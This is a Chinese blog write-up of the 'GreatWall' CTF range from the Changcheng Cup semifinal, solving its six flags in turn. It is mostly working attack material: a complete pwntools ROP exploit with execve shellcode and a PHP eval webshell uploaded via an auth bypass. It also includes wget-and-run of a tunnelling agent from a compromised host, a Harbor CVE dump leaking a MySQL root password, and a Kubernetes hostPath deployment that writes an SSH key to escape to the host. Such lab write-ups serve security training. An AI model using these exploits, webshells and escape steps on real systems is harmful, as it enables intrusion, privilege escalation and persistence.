春秋云境-GreatWall(长城杯半决赛)

考点:

  • thinkphpRCE
  • heapdump泄露+shiroAttack
  • 缓冲区溢出
  • 文件上传
  • LD_proload
  • Harbor未授权
  • MDUT一把嗦
  • k8s Api Server未授权

172.28.23.17(8.130.119.25)(flag1)

扫一下,会发现8080端口那里有thinkphp的nday,只不过有disable_function,没法直接执行,可以直接写哥斯拉的马,哥斯拉可以自动绕disable_function

进内网后扫内网

172.28.23.33:8080 open
172.28.23.17:8080 open
172.28.23.26:80 open
172.28.23.26:22 open
172.28.23.17:80 open
172.28.23.17:22 open
172.28.23.33:22 open
172.28.23.26:21 open
[*] WebTitle: http://172.28.23.17       code:200 len:10887  title:None
[*] WebTitle: http://172.28.23.17:8080  code:200 len:1027   title:Login Form
[*] WebTitle: http://172.28.23.26       code:200 len:13693  title:新翔OA管理系统-OA管理平台联系电话:13849422648微信同号,QQ958756413
[+] ftp://172.28.23.26:21:anonymous 
   [->]OASystem.zip
[*] WebTitle: http://172.28.23.33:8080  code:302 len:0      title:None 跳转url: http://172.28.23.33:8080/login;jsessionid=743CDDF962FDC5A415B7293537AC081D
[*] WebTitle: http://172.28.23.33:8080/login;jsessionid=743CDDF962FDC5A415B7293537AC081D code:200 len:3860   title:智联科技 ERP 后台登陆
[+] http://172.28.23.17:8080 poc-yaml-thinkphp5023-method-rce poc1
[+] http://172.28.23.33:8080 poc-yaml-spring-actuator-heapdump-file 
[+] http://172.28.23.33:8080 poc-yaml-springboot-env-unauth spring2

也就是内网里有两个新资产,172.28.23.33和172.28.23.26

172.28.23.33(172.22.10.16)(flag2)

扫资产发现有i春秋经典的heapdump泄露,用JDumpSpider扫一下可以得到shiro-key

172.28.23.33:8080/actuator/heapdump
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = AZYyIgMYhG6/CzIJlvpR2g==, algName = AES

===========================================
OriginTrackedMapPropertySource

注入一下内存马,上去后没找到flag,只有一个pwn题,本机起了个pwn的服务,可能用于提权

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.28.23.33  netmask 255.255.0.0  broadcast 172.28.255.255
        inet6 fe80::216:3eff:fe03:dedc  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:03:de:dc  txqueuelen 1000  (Ethernet)
        RX packets 46589  bytes 65218806 (65.2 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 9861  bytes 2483408 (2.4 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.10.16  netmask 255.255.255.0  broadcast 172.22.10.255
        inet6 fe80::216:3eff:fe04:3f50  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:04:3f:50  txqueuelen 1000  (Ethernet)
        RX packets 159  bytes 6678 (6.6 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 172  bytes 7684 (7.6 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 568  bytes 53568 (53.5 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 568  bytes 53568 (53.5 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

不会pwn,用大头哥的脚本,他的脚本我直接跑总是报错,自己改了改数据类型跑通了

from pwn import *

elf = ELF('./HashNote')
context(arch=elf.arch, os='linux', log_level='debug')
# p = process('./HashNote')

p = remote('172.28.23.33', 59696)

def send_command(command):
    p.sendlineafter(b': ', str(command))

def add_entry(key, value):
    send_command(1)
    p.sendlineafter(b'Key: ', key)
    p.sendlineafter(b'Data: ', value)

def get_entry(key):
    send_command(2)
    p.sendlineafter(b'Key: ', key)

def update_entry(key, value):
    send_command(3)
    p.sendlineafter(b'Key: ', key)
    p.sendlineafter(b'Data: ', value)

def set_username(value):
    send_command(4)
    p.sendafter(b'New username: ', value)

# Authenticate
p.sendlineafter(b'Username: ', b'123')
p.sendlineafter(b'Password: ', b'freep@ssw0rd:3')

# Add entries to setup the environment
add_entry(b'aabP', b'aaaaaaaa')
add_entry(b'aace', b'C' * 0xc0)

# Shellcode to spawn a shell
sc = [
    b'\x6a\x3b',                   # push   0x3b
    b'\x58',                       # pop    rax
    b'\x99',                       # cdq
    b'\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68', # movabs rbx, 0x68732f6e69622f2f
    b'\x53',                       # push   rbx
    b'\x48\x89\xe7',               # mov    rdi, rsp
    b'\x52',                       # push   rdx
    b'\x57',                       # push   rdi
    b'\x48\x89\xe6',               # mov    rsi, rsp
    b'\x0f\x05'                    # syscall
]
shellcode = b''.join(sc)
username_addr = 0x5dc980
fake_obj_addr = username_addr + 0x10

def arbitrary_read(addr):
    payload = p64(fake_obj_addr)
    payload += p64(0xdeadbeef)

    fake_obj = p64(fake_obj_addr + 0x10) + p64(4)
    fake_obj += b'aahO'.ljust(0x10, b'\x00')
    fake_obj += p64(addr) + p64(8) + b'aaaaaaaa'

    payload += fake_obj
    payload += shellcode
    payload = payload.ljust(128, b'\x00')
    set_username(payload)
    get_entry(b'aahO')

def arbitrary_write(addr, data):
    payload = p64(fake_obj_addr)
    payload += p64(0xdeadbeef)

    fake_obj = p64(fake_obj_addr + 0x10) + p64(4)
    fake_obj += b'aahO'.ljust(0x10, b'\x00')
    fake_obj += p64(addr) + p64(len(data)) + b'aaaaaaaa'

    payload += fake_obj
    payload += shellcode
    payload = payload.ljust(128, b'\x00')
    set_username(payload)
    update_entry(b'aahO', data)

# Leak the stack address
environ = 0x5e4c38 
arbitrary_read(environ)
stack_addr = u64((p.recvuntil(b'\x7f', drop=False)[-6:].ljust(8, b'\0')))
success('stack_addr', stack_addr)

# ROP gadgets
rdi = 0x0000000000405e7c
rsi = 0x000000000040974f
rax = 0x00000000004206ba
rdx_rbx = 0x000000000053514b
shr_eax_2 = 0x0000000000523f2e
syscall_ret = 0x00000000004d9776

# ROP payload to map memory and jump to shellcode
payload = p64(rdi) + p64(username_addr & ~0xfff) + p64(rsi) + p64(0x1000) + p64(rdx_rbx) + p64(7) + p64(0) + p64(rax) + p64(0xa << 2) + p64(shr_eax_2) + p64(syscall_ret) + p64(username_addr + 0x48)

arbitrary_write(stack_addr - 0x210, payload)
p.sendline(b'uname -ar')

p.interactive()
172.22.10.28:22 open
172.22.10.16:8080 open
172.22.10.28:3306 open
172.22.10.28:80 open
172.22.10.16:22 open
[*] WebTitle http://172.22.10.16:8080  code:302 len:0      title:None 跳转url: http://172.22.10.16:8080/login;jsessionid=CF37645FAC7BD2F765DFF7D2C08DBF7E
[*] WebTitle http://172.22.10.16:8080/login;jsessionid=CF37645FAC7BD2F765DFF7D2C08DBF7E code:200 len:3860   title:智联科技 ERP 后台登陆
[*] WebTitle http://172.22.10.28       code:200 len:1975   title:DooTask
[+] PocScan http://172.22.10.16:8080 poc-yaml-spring-actuator-heapdump-file 
[+] PocScan http://172.22.10.16:8080 poc-yaml-springboot-env-unauth spring2

提权后能拿到本机的flag

cat /root/flag_RaYz1/f* 

172.28.23.26(172.22.14.6)(flag3)

26有一个匿名登录,能拿到源码,恐怕是要审0day,抽象

源码鉴权有问题,只要参数值不为空且存在即可绕过,所以可以直接Cookie: id=1; loginname=1; jueseid=1; danweiid=1; quanxian=1进后台

GET /main.php HTTP/1.1
Host: 172.28.23.26
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: id=1; loginname=1; jueseid=1; danweiid=1; quanxian=1;
Upgrade-Insecure-Requests: 1
Priority: u=1

这个洞也就图一乐,关键在于那个uploadbase64.php,他这里的鉴权逻辑也有问题,只要求data:image/文件格式;base64加编码后的数据,所以我们传一个data:image/php;base64,就能直接上传php文件了,直接狠狠拿下

POST /uploadbase64.php HTTP/1.1
Host: 172.28.23.26
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Cookie: id=1; loginname=1; jueseid=1; danweiid=1; quanxian=1;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Length: 69
Connection: close
Upgrade-Insecure-Requests::1
Content-Type:application/x-www-form-urlencoded

imgbase64=data:image/php;base64, PD9waHAgQGV2YWwoJF9HRVRbMV0pOyA/Pg==
	pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,file_get_contents,readfile,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,highlight_file,show_source,iconv,dl

可以看到没ban putenv,能用LD_proload绕disable_function(冰蝎和哥斯拉我都没连上去),用蚁剑插件绕

这里需要用get的一句话木马,post的会很玄学的没法执行

这里改成1.php

然后访问.antproxy.php即可正常执行命令,可以看到base32有suid权限,可用于提权

http://172.28.23.26/upload/.antproxy.php?1=system(%22find%20/%20-perm%20-u=s%20-type%20f%202%3E/dev/null%22);
http://172.28.23.26/upload/.antproxy.php?1=system("base32 /flag02.txt");

可以看到他也是双网卡,通向172.22.14.6

eth0      Link encap:Ethernet  HWaddr 00:16:3e:01:ed:cb  
          inet addr:172.28.23.26  Bcast:172.28.255.255  Mask:255.255.0.0
          inet6 addr: fe80::216:3eff:fe01:edcb/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:117750 errors:0 dropped:0 overruns:0 frame:0
          TX packets:18982 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:166663988 (166.6 MB)  TX bytes:3664043 (3.6 MB)

eth1      Link encap:Ethernet  HWaddr 00:16:3e:03:4b:b5  
          inet addr:172.22.14.6  Bcast:172.22.255.255  Mask:255.255.0.0
          inet6 addr: fe80::216:3eff:fe03:4bb5/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:773 errors:0 dropped:0 overruns:0 frame:0
          TX packets:778 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:33562 (33.5 KB)  TX bytes:33608 (33.6 KB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:383 errors:0 dropped:0 overruns:0 frame:0
          TX packets:383 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:141365 (141.3 KB)  TX bytes:141365 (141.3 KB)

然后建立内网多重代理,因为我们现在只能在网页端用get传命令,执行起来非常麻烦,所以我们首先把Stowaway的linux_x64_admin放在最开始的172.28.23.17(也就是题目直接给的那个ip)的网站目录下,然后wget过来

http://172.28.23.26/upload/.antproxy.php?1=system(%22wget%20http://172.28.23.17:8080/linux_x64_agent%22);

接着用我过去文章里提到过的多重代理建立方式,在节点1启动监听

(admin) >> use 0
(node 0) >> listen
[*] BE AWARE! If you choose IPTables Reuse or SOReuse,you MUST CONFIRM that the node you're controlling was started in the corresponding way!
[*] When you choose IPTables Reuse or SOReuse, the node will use the initial config(when node started) to reuse port!
[*] Please choose the mode(1.Normal passive/2.IPTables Reuse/3.SOReuse): 1
[*] Please input the [ip:]<port> : 1234
[*] Waiting for response......
[*] Node is listening on 1234
(node 0) >> 
[*] New node come! Node id is 1

接着在网页端连上节点一

http://172.28.23.26/upload/.antproxy.php?1=system("./linux_x64_agent -c 172.28.23.17:1234 -s 123 --reconnect 8");

然后其实Stowaway其实是有shell功能的,只是我之前一直没用过,use 2然后shell即可,当然这也没啥用主要还是起个深层内网的代理

eth0      Link encap:Ethernet  HWaddr 00:16:3e:01:ed:cb  
          inet addr:172.28.23.26  Bcast:172.28.255.255  Mask:255.255.0.0
          inet6 addr: fe80::216:3eff:fe01:edcb/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:125788 errors:0 dropped:0 overruns:0 frame:0
          TX packets:22857 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:171870762 (171.8 MB)  TX bytes:8107676 (8.1 MB)

eth1      Link encap:Ethernet  HWaddr 00:16:3e:03:4b:b5  
          inet addr:172.22.14.6  Bcast:172.22.255.255  Mask:255.255.0.0
          inet6 addr: fe80::216:3eff:fe03:4bb5/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1166 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1171 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:50068 (50.0 KB)  TX bytes:50114 (50.1 KB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:798 errors:0 dropped:0 overruns:0 frame:0
          TX packets:798 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:184900 (184.9 KB)  TX bytes:184900 (184.9 KB)

扫一下172.22.14.6这张网卡

(icmp) Target 172.22.14.6     is alive
(icmp) Target 172.22.14.37    is alive
(icmp) Target 172.22.14.46    is alive
[*] Icmp alive hosts len is: 3
172.22.14.6:80 open
172.22.14.46:80 open
172.22.14.46:22 open
172.22.14.37:22 open
172.22.14.6:22 open
172.22.14.6:21 open
172.22.14.37:2379 open
172.22.14.37:10250 open
[*] alive ports len is: 8
start vulscan
[*] WebTitle http://172.22.14.46       code:200 len:785    title:Harbor
[*] WebTitle http://172.22.14.6        code:200 len:13693  title:新翔OA管理系统-OA管理平台联系电话:13849422648微信同号,QQ958756413
[+] InfoScan http://172.22.14.46       [Harbor] 
[*] WebTitle https://172.22.14.37:10250 code:404 len:19     title:None
[+] ftp 172.22.14.6:21:anonymous 
   [->]OASystem.zip
[+] PocScan http://172.22.14.46/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]
已完成 5/8 [-] ssh 172.22.14.6:22 root 12345678 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
已完成 5/8 [-] ssh 172.22.14.37:22 root 1qaz!QAZ ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 

172.22.14.46(flag4)

https://github.com/404tk/CVE-2022-46463

└─$ proxychains python3 harbor.py http://172.22.14.46/
[+] project/projectadmin
[+] project/portal
[+] library/nginx
[+] library/redis
[+] harbor/secret

下载secret镜像,慢慢翻就找到了

proxychains python3 harbor.py http://172.22.14.46/ --dump harbor/secret --v2

172.22.10.28(flag5)

下载projectadmin镜像

proxychains python3 harbor.py http://172.22.14.46/ --dump project/projectadmin --v2
spring.datasource.url=jdbc:mysql://172.22.10.28:3306/projectadmin?characterEncoding=utf-8&useUnicode=true&serverTimezone=UTC
spring.datasource.username=root
spring.datasource.password=My3q1i4oZkJm3
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver

用内置的udf提一下权就行了(MDUT有点玄学,他那个socks功能我用了连不上,换成proxifier的全局代理才连上去)

172.22.14.37(flag6)

这个flag6是最难绷的

首先6443存在k8s Api Server未授权,照着打即可浅析K8S各种未授权攻击方法

这里要注意一个很傻逼的事,就是kubectl 是go binary,而go binary 自己实现了底层,所以proxychains对他不起作用。。。这里我的做法是下了个windows的可执行文件,然后proxier全局代理。具体的打法就是写一个evil-deployment.yaml,然后我们把宿主机/目录挂载到容器内部/mnt目录,接着写公钥就成功逃逸

#evil-deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
  labels:
    app: nginx
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx:1.8
        volumeMounts:
        - mountPath: /mnt
          name: test-volume
      volumes:
      - name: test-volume
        hostPath:
          path: /

部署pod

kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/  apply -f evil-deployment.yaml

列出pod

kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods

进容器执行命令

kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ exec -it nginx-deployment-864f8bfd6f-b9xhg /bin/bash

然后写公钥(公钥是ssh-keygen -t rsa -b 4096产生的id_rsa.pub)

echo "ssh-rsa ...... fushuling@fushuling" > /mnt/root/.ssh/authorized_keys

接着用私钥连上去,获得root权限,去mysql找到flag

proxychains ssh -i  /home/fushuling/.ssh/id_rsa root@172.22.14.37 
mysql> use flaghaha
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed, 3 warnings
mysql> show tables
    -> ;
+--------------------+
| Tables_in_flaghaha |
+--------------------+
| flag04             |
+--------------------+
1 row in set (0.00 sec)

mysql> select * from flag04;
+------+--------------------------------------------------------------+
| id   | f1agggggishere                                               |
+------+--------------------------------------------------------------+
|    1 | ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg== |
+------+--------------------------------------------------------------+
1 row in set (0.00 sec)

找半决赛全国第一要了个wp,他们这个题打了个入口就没打了。。。赛方疑似有点高看大伙了

评论

  1. Victor
    已编辑
    6月前
    2024-6-11 16:23:03

    tql

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇